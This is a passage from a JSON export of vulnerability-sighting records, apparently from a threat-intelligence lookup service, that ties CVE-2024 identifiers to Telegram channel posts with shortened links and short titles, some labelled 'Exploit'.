"type": "seen", "source": "https://t.me/ctinow/175733", "content": "https://ift.tt/PsxZf7o\nCVE-2024-22643", "creation_timestamp": "2024-01-30T08:31:59.000000Z"}, {"uuid": "edc951d6-2355-4d00-8ff5-4354540dd206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22551", "type": "seen", "source": "https://t.me/ctinow/174310", "content": "https://ift.tt/Pr8pXaH\nCVE-2024-22551", "creation_timestamp": "2024-01-26T16:32:31.000000Z"}, {"uuid": "bfb4b7eb-f15e-4e95-976e-5fe46b57572a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22550", "type": "seen", "source": "https://t.me/ctinow/174309", "content": "https://ift.tt/g5rwXCo\nCVE-2024-22550", "creation_timestamp": "2024-01-26T16:32:30.000000Z"}, {"uuid": "daf1e9b7-145f-4f9e-a425-bfc4dbc72948", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22911", "type": "seen", "source": "https://t.me/ctinow/170358", "content": "https://ift.tt/SjTPhwA\nCVE-2024-22911", "creation_timestamp": "2024-01-19T19:26:49.000000Z"}, {"uuid": "2eaf3771-4cd3-4403-b12b-59e7257e401c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22424", "type": "seen", "source": "https://t.me/ctinow/170097", "content": "https://ift.tt/zIxiEYT\nCVE-2024-22424", "creation_timestamp": "2024-01-19T08:17:10.000000Z"}, {"uuid": "e25bf1c8-3654-4ae6-a23d-33b5e3fb55dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22938", "type": "seen", "source": "https://t.me/ctinow/175661", "content": "https://ift.tt/nItfkpK\nCVE-2024-22938", "creation_timestamp": "2024-01-30T02:31:18.000000Z"}, {"uuid": "c8604b7e-cbcc-4c03-8b97-015c83fbde76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22682", "type": "seen", "source": "https://t.me/ctinow/175660", "content": "https://ift.tt/N46nkur\nCVE-2024-22682", "creation_timestamp": "2024-01-30T02:31:18.000000Z"}, {"uuid": "72ce7447-be9f-457a-9870-6931d77dcee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22570", "type": "seen", "source": "https://t.me/ctinow/175538", "content": "https://ift.tt/KSrVnOM\nCVE-2024-22570", "creation_timestamp": "2024-01-29T21:21:38.000000Z"}, {"uuid": "5b0c8d2c-c01e-427a-96ef-1b3fe0a36d02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22860", "type": "seen", "source": "https://t.me/ctinow/174660", "content": "https://ift.tt/eECvp2N\nCVE-2024-22860", "creation_timestamp": "2024-01-27T07:26:40.000000Z"}, {"uuid": "5fb21d2c-6ae7-48c7-b8a3-cc3e5ba884f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22914", "type": "seen", "source": "https://t.me/ctinow/173709", "content": "https://ift.tt/r7TmY5X\nCVE-2024-22914 Exploit", "creation_timestamp": "2024-01-25T19:16:38.000000Z"}, {"uuid": "a8c5d2ac-b2f5-4f43-844d-ee43fb15368c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22626", "type": "seen", "source": "https://t.me/ctinow/170293", "content": "https://ift.tt/MXKkFI3\nCVE-2024-22626 Exploit", "creation_timestamp": "2024-01-19T17:17:44.000000Z"}, {"uuid": "26261777-631d-4b1f-929a-907cdcc3cab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22627", "type": "seen", "source": "https://t.me/ctinow/170292", "content": "https://ift.tt/V2dO5ZP\nCVE-2024-22627 Exploit", "creation_timestamp": "2024-01-19T17:17:43.000000Z"}, {"uuid": "e05661c8-2ee6-4a29-b181-4eb27992350c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22628", "type": "seen", "source": "https://t.me/ctinow/170291", "content": "https://ift.tt/87dafxW\nCVE-2024-22628 Exploit", "creation_timestamp": "2024-01-19T17:17:42.000000Z"}, {"uuid": "bf28aa46-f99c-4c48-b7a2-da6f5aecbc7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22559", "type": "seen", "source": "https://t.me/ctinow/175315", "content": "https://ift.tt/5p4aTP3\nCVE-2024-22559", "creation_timestamp": "2024-01-29T15:26:33.000000Z"}, {"uuid": "d0689a66-8b01-4488-bc90-dc427d472347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22862", "type": "seen", "source": "https://t.me/ctinow/174661", "content": "https://ift.tt/PiSnkJK\nCVE-2024-22862", "creation_timestamp": "2024-01-27T07:26:44.000000Z"}, {"uuid": "ed183750-8aab-4486-a1d3-66bd541bc705", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22900", "type": "seen", "source": "https://t.me/ctinow/174298", "content": "https://ift.tt/y4FHRPf\n[Full Disclosure] CVE-2024-22900: Unpatched Command Injection in Vinchin Backup and Recovery Versions 7.2 and Earlier", "creation_timestamp": "2024-01-26T16:22:11.000000Z"}, {"uuid": "0fad2318-6dba-46d6-af81-98a2659556e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22861", "type": "seen", "source": "https://t.me/ctinow/174679", "content": "https://ift.tt/0bso4Sl\nCVE-2024-22861", "creation_timestamp": "2024-01-27T08:26:20.000000Z"}, {"uuid": "e4258b78-03d0-428d-81d3-c3b4712ac7d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22729", "type": "seen", "source": "https://t.me/ctinow/173555", "content": "https://ift.tt/GemoViQ\nCVE-2024-22729", "creation_timestamp": "2024-01-25T16:27:28.000000Z"}, {"uuid": "2f21d19c-9974-4731-8fca-522bce2de884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22432", "type": "seen", "source": "https://t.me/ctinow/173554", "content": "https://ift.tt/IWu6p0n\nCVE-2024-22432", "creation_timestamp": "2024-01-25T16:27:27.000000Z"}, {"uuid": "3669ffc8-be4e-4409-954f-afe6ba52f143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22895", "type": "seen", "source": "https://t.me/ctinow/174527", "content": "https://ift.tt/FZJtIPL\nCVE-2024-22895 Exploit", "creation_timestamp": "2024-01-26T23:16:28.000000Z"}, {"uuid": "547e5ae9-f943-4d1d-b194-46904179cc98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22283", "type": "seen", "source": "https://t.me/ctinow/174576", "content": "https://ift.tt/45exfX3\nCVE-2024-22283", "creation_timestamp": "2024-01-27T01:21:43.000000Z"}, {"uuid": "1c764f4e-6112-4799-b6b4-f7844791b621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22147", "type": "seen", "source": "https://t.me/ctinow/174575", "content": "https://ift.tt/rqkfPGH\nCVE-2024-22147", "creation_timestamp": "2024-01-27T01:21:42.000000Z"}, {"uuid": "726e4835-f910-4b8f-a53a-71a63f60e9de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22562", "type": "seen", "source": "https://t.me/ctinow/173864", "content": "https://ift.tt/ZC2J5N3\nCVE-2024-22562 Exploit", "creation_timestamp": "2024-01-25T23:16:31.000000Z"}, {"uuid": "1115bad1-eda9-4955-8ad7-0728de5b14d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22922", "type": "seen", "source": "https://t.me/ctinow/173871", "content": "https://ift.tt/rgsZel9\nCVE-2024-22922", "creation_timestamp": "2024-01-25T23:26:51.000000Z"}, {"uuid": "1f76377e-5faa-42d8-9de0-166e6d8530f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22638", "type": "seen", "source": "https://t.me/ctinow/173840", "content": "https://ift.tt/ZyjV09o\nCVE-2024-22638", "creation_timestamp": "2024-01-25T22:26:27.000000Z"}, {"uuid": "58aeb618-aaee-4ec6-a9ca-50e779c941a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22920", "type": "seen", "source": "https://t.me/ctinow/173865", "content": "https://ift.tt/A2XvleI\nCVE-2024-22920 Exploit", "creation_timestamp": "2024-01-25T23:16:33.000000Z"}, {"uuid": "cf875504-06ff-4107-bee4-bcbf804bcf03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22639", "type": "seen", "source": "https://t.me/ctinow/173841", "content": "https://ift.tt/MyPQdpU\nCVE-2024-22639", "creation_timestamp": "2024-01-25T22:26:28.000000Z"}, {"uuid": "5e8050be-625f-4ed4-9c51-8e30d40d7ef6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22637", "type": "seen", "source": "https://t.me/ctinow/173839", "content": "https://ift.tt/suxZ9Ab\nCVE-2024-22637", "creation_timestamp": "2024-01-25T22:26:26.000000Z"}, {"uuid": "be239211-eb1b-43bd-925f-f3adce13e2ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22636", "type": "seen", "source": "https://t.me/ctinow/173838", "content": "https://ift.tt/ucMWYAX\nCVE-2024-22636", "creation_timestamp": "2024-01-25T22:26:25.000000Z"}, {"uuid": "cb51270e-b9e1-4978-95b3-d0bcbbfae024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22635", "type": "seen", "source": "https://t.me/ctinow/173837", "content": "https://ift.tt/4vTI2Hj\nCVE-2024-22635", "creation_timestamp": "2024-01-25T22:26:23.000000Z"}, {"uuid": "924776d4-8e0f-4a25-8b59-81d83094e9c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22545", "type": "seen", "source": "https://t.me/ctinow/174071", "content": "https://ift.tt/LJXRz5b\nCVE-2024-22545", "creation_timestamp": "2024-01-26T09:26:40.000000Z"}, {"uuid": "dc7cc105-d39c-4577-be05-ea18e2d8a3c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22414", "type": "seen", "source": "https://t.me/ctinow/174482", "content": "https://ift.tt/XJa8GhR\nCVE-2024-22414 Exploit", "creation_timestamp": "2024-01-26T21:16:27.000000Z"}, {"uuid": "fe4bd396-a487-4427-b4aa-017d88e04e20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22419", "type": "seen", "source": "https://t.me/ctinow/174481", "content": "https://ift.tt/Hc9Xv74\nCVE-2024-22419 Exploit", "creation_timestamp": "2024-01-26T21:16:26.000000Z"}, {"uuid": "e2b7e485-20ee-47fd-a7ef-30f32e30db2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22370", "type": "seen", "source": "https://t.me/ctinow/174059", "content": "https://ift.tt/VMX9uNC\nCVE-2024-22370 | JetBrains YouTrack prior 2023.3.22666 Markdown cross site scripting", "creation_timestamp": "2024-01-26T09:06:18.000000Z"}, {"uuid": "ee47d3ea-1170-4e7a-b4d4-8f2f5a329fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22368", "type": "seen", "source": "https://t.me/ctinow/174047", "content": "https://ift.tt/BCxsGrd\nCVE-2024-22368 | Spreadsheet::ParseXLSX prior 0.28 on Perl XLSX Document resource consumption", "creation_timestamp": "2024-01-26T08:36:16.000000Z"}, {"uuid": "fd2db93e-1a30-401e-b941-ba29588b15db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22915", "type": "seen", "source": "https://t.me/ctinow/173708", "content": "https://ift.tt/Xedz4mU\nCVE-2024-22915 Exploit", "creation_timestamp": "2024-01-25T19:16:36.000000Z"}, {"uuid": "bc27c596-bf3d-4e9c-bc96-b993d75bf2b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22213", "type": "seen", "source": "https://t.me/ctinow/173707", "content": "https://ift.tt/X0sdRqv\nCVE-2024-22213 Exploit", "creation_timestamp": "2024-01-25T19:16:35.000000Z"}, {"uuid": "92504951-fe18-4f99-a209-325a1700835d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22409", "type": "seen", "source": "https://t.me/ctinow/173714", "content": "https://ift.tt/XW8gnE7\nCVE-2024-22409 Exploit", "creation_timestamp": "2024-01-25T19:16:44.000000Z"}, {"uuid": "45b95aaa-6679-47df-bf01-d28ab9e5e99f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22749", "type": "seen", "source": "https://t.me/ctinow/173598", "content": "https://ift.tt/XCZjWdl\nCVE-2024-22749", "creation_timestamp": "2024-01-25T17:26:37.000000Z"}, {"uuid": "5548035b-db52-43aa-be09-ce23457e20b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22529", "type": "seen", "source": "https://t.me/ctinow/173597", "content": "https://ift.tt/hM0T5qG\nCVE-2024-22529", "creation_timestamp": "2024-01-25T17:26:36.000000Z"}, {"uuid": "afc554ef-0299-423c-86e5-c4a7e08fdd7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22919", "type": "seen", "source": "https://t.me/ctinow/170363", "content": "https://ift.tt/S7cnp9Y\nCVE-2024-22919", "creation_timestamp": "2024-01-19T19:26:54.000000Z"}, {"uuid": "5066a64c-502e-40d4-adf0-e2e178c2d8d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22915", "type": "seen", "source": "https://t.me/ctinow/170362", "content": "https://ift.tt/kpSF1Tf\nCVE-2024-22915", "creation_timestamp": "2024-01-19T19:26:53.000000Z"}, {"uuid": "5b4cefb2-61a8-4848-8cde-7bf34f5998b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22422", "type": "seen", "source": "https://t.me/ctinow/173904", "content": "https://ift.tt/mRLTP9j\nCVE-2024-22422 Exploit", "creation_timestamp": "2024-01-26T01:17:01.000000Z"}, {"uuid": "dc40ca6f-bb95-4492-adfd-f9c2dfdcd159", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22124", "type": "seen", "source": "https://t.me/ctinow/173760", "content": "https://ift.tt/7oUT830\nCVE-2024-22124 | SAP NetWeaver 7.22/7.53/7.54 Internet Communication Manager unknown vulnerability", "creation_timestamp": "2024-01-25T20:21:42.000000Z"}, {"uuid": "a4af07c8-4cf3-4a17-89c6-98b9d1b608aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22957", "type": "seen", "source": "https://t.me/ctinow/173589", "content": "https://ift.tt/QgOymhT\nCVE-2024-22957 Exploit", "creation_timestamp": "2024-01-25T17:17:21.000000Z"}, {"uuid": "afe3d1ab-70a0-443b-a8cd-684d11d7b483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22919", "type": "seen", "source": "https://t.me/ctinow/173587", "content": "https://ift.tt/pgQJ5FV\nCVE-2024-22919 Exploit", "creation_timestamp": "2024-01-25T17:17:17.000000Z"}, {"uuid": "cdbbbb4a-0120-4123-8b67-34af9229bac3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22956", "type": "seen", "source": "https://t.me/ctinow/173588", "content": "https://ift.tt/aOgbmdA\nCVE-2024-22956 Exploit", "creation_timestamp": "2024-01-25T17:17:20.000000Z"}, {"uuid": "317a011a-8daf-4ca9-860a-cd9aed5d9011", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22955", "type": "seen", "source": "https://t.me/ctinow/173586", "content": "https://ift.tt/BifRMAp\nCVE-2024-22955 Exploit", "creation_timestamp": "2024-01-25T17:17:16.000000Z"}, {"uuid": "61189bde-6843-46d2-87dc-1f0ed478acef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22418", "type": "seen", "source": "https://t.me/ctinow/173907", "content": "https://ift.tt/1IgHPyo\nCVE-2024-22418 Exploit", "creation_timestamp": "2024-01-26T01:17:04.000000Z"}, {"uuid": "92353ef5-6c85-4b42-83c0-e036d2bf133f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22625", "type": "seen", "source": "https://t.me/ctinow/170294", "content": "https://ift.tt/qt9yp4z\nCVE-2024-22625 Exploit", "creation_timestamp": "2024-01-19T17:17:46.000000Z"}, {"uuid": "24bcaede-9a4a-41f1-8769-ea3a651b817d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22197", "type": "seen", "source": "https://t.me/ctinow/169978", "content": "https://ift.tt/QbDJU8m\nCVE-2024-22197 Exploit", "creation_timestamp": "2024-01-18T23:16:52.000000Z"}, {"uuid": "cd1aed8f-9bd2-436c-ad76-df5ed9421567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22403", "type": "seen", "source": "https://t.me/ctinow/169974", "content": "https://ift.tt/yUsBz96\nCVE-2024-22403 | NextCloud Server up to 27.x OAuth2 violation of secure design principles (GHSA-wppc-f5g8-vx36)", "creation_timestamp": "2024-01-18T22:26:25.000000Z"}, {"uuid": "1364d25b-5b6b-44e5-88a5-b96c576bc036", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22125", "type": "seen", "source": "https://t.me/ctinow/173749", "content": "https://ift.tt/M2zBueA\nCVE-2024-22125 | SAP GUI Connector for Microsoft Edge 1.0 unknown vulnerability", "creation_timestamp": "2024-01-25T19:51:31.000000Z"}, {"uuid": "44984c9d-3dd5-43c6-b807-b90ea817b785", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22913", "type": "seen", "source": "https://t.me/ctinow/170360", "content": "https://ift.tt/VH5Loiv\nCVE-2024-22913", "creation_timestamp": "2024-01-19T19:26:51.000000Z"}, {"uuid": "16677025-24ac-4fbb-bcc1-a24e9ade9072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22912", "type": "seen", "source": "https://t.me/ctinow/170359", "content": "https://ift.tt/DIxKj9O\nCVE-2024-22912", "creation_timestamp": "2024-01-19T19:26:50.000000Z"}, {"uuid": "78f00ebc-2498-4c0c-84d8-04a1b63b9bc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22911", "type": "seen", "source": "https://t.me/ctinow/173712", "content": "https://ift.tt/35wl7EY\nCVE-2024-22911 Exploit", "creation_timestamp": "2024-01-25T19:16:41.000000Z"}, {"uuid": "71cc7bdf-1cba-408c-8efd-f4fdfade2f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22912", "type": "seen", "source": "https://t.me/ctinow/173711", "content": "https://ift.tt/7tObcfd\nCVE-2024-22912 Exploit", "creation_timestamp": "2024-01-25T19:16:40.000000Z"}, {"uuid": "f921562d-74a8-44a2-a08a-0bda70149852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22913", "type": "seen", "source": "https://t.me/ctinow/173710", "content": "https://ift.tt/fTeyvnH\nCVE-2024-22913 Exploit", "creation_timestamp": "2024-01-25T19:16:39.000000Z"}, {"uuid": "a8e2c0e6-dd52-49fd-8a9d-8405a9ee8264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22402", "type": "seen", "source": "https://t.me/ctinow/169968", "content": "https://ift.tt/ZmKa9OI\nCVE-2024-22402", "creation_timestamp": "2024-01-18T22:21:35.000000Z"}, {"uuid": "81ff539f-82c5-4ac1-bd9a-8fc04c6e918c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22401", "type": "seen", "source": "https://t.me/ctinow/169967", "content": "https://ift.tt/GcCsfUj\nCVE-2024-22401", "creation_timestamp": "2024-01-18T22:21:34.000000Z"}, {"uuid": "c3489721-37d9-47bd-8aff-c4104a8de796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22494", "type": "seen", "source": "https://t.me/ctinow/169993", "content": "https://ift.tt/EFn8xLm\nCVE-2024-22494 Exploit", "creation_timestamp": "2024-01-18T23:17:10.000000Z"}, {"uuid": "3f7d993d-85cc-40e2-ae66-7a60d5a5f9a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22568", "type": "seen", "source": "https://t.me/ctinow/169814", "content": "https://ift.tt/2ZKmW7D\nCVE-2024-22568", "creation_timestamp": "2024-01-18T16:31:50.000000Z"}, {"uuid": "35898e47-e013-45fd-9bd1-e279d0b634c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22194", "type": "seen", "source": "https://t.me/ctinow/170447", "content": "https://ift.tt/WSiL9lF\nCVE-2024-22194 Exploit", "creation_timestamp": "2024-01-19T23:17:03.000000Z"}, {"uuid": "7a7e9f06-ce11-49ac-a6ce-eb13d86396b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22418", "type": "seen", "source": "https://t.me/ctinow/169971", "content": "https://ift.tt/JlfBxRp\nCVE-2024-22418", "creation_timestamp": "2024-01-18T22:21:40.000000Z"}, {"uuid": "f058346b-ba65-4146-8cb5-0f832d015cfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22957", "type": "seen", "source": "https://t.me/ctinow/170366", "content": "https://ift.tt/PU8pRyw\nCVE-2024-22957", "creation_timestamp": "2024-01-19T19:26:59.000000Z"}, {"uuid": "3e7de535-59d3-4d86-ba22-b8384174ae61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22956", "type": "seen", "source": "https://t.me/ctinow/170365", "content": "https://ift.tt/fLeCls4\nCVE-2024-22956", "creation_timestamp": "2024-01-19T19:26:55.000000Z"}, {"uuid": "4d3f839e-00b9-4acb-a3c4-19a464ba61fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22955", "type": "seen", "source": "https://t.me/ctinow/170364", "content": "https://ift.tt/iCUb0Wv\nCVE-2024-22955", "creation_timestamp": "2024-01-19T19:26:55.000000Z"}, {"uuid": "5f63bde7-a97f-4326-a377-4dc4aef61a99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22714", "type": "seen", "source": "https://t.me/ctinow/169434", "content": "https://ift.tt/aesvlbG\nCVE-2024-22714", "creation_timestamp": "2024-01-17T19:26:41.000000Z"}, {"uuid": "a349352e-8922-4e87-9e2e-5af15f8d303a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22424", "type": "seen", "source": "https://t.me/ctinow/170038", "content": "https://ift.tt/7zxJ4T6\nCVE-2024-22424", "creation_timestamp": "2024-01-19T02:26:47.000000Z"}, {"uuid": "df82caa8-497b-40f6-9e72-f43d6f689872", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22422", "type": "seen", "source": "https://t.me/ctinow/170037", "content": "https://ift.tt/j83oQRN\nCVE-2024-22422", "creation_timestamp": "2024-01-19T02:26:47.000000Z"}, {"uuid": "2c5a142f-2f6f-4aa0-9a4b-f54231a74135", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22403", "type": "seen", "source": "https://t.me/ctinow/169944", "content": 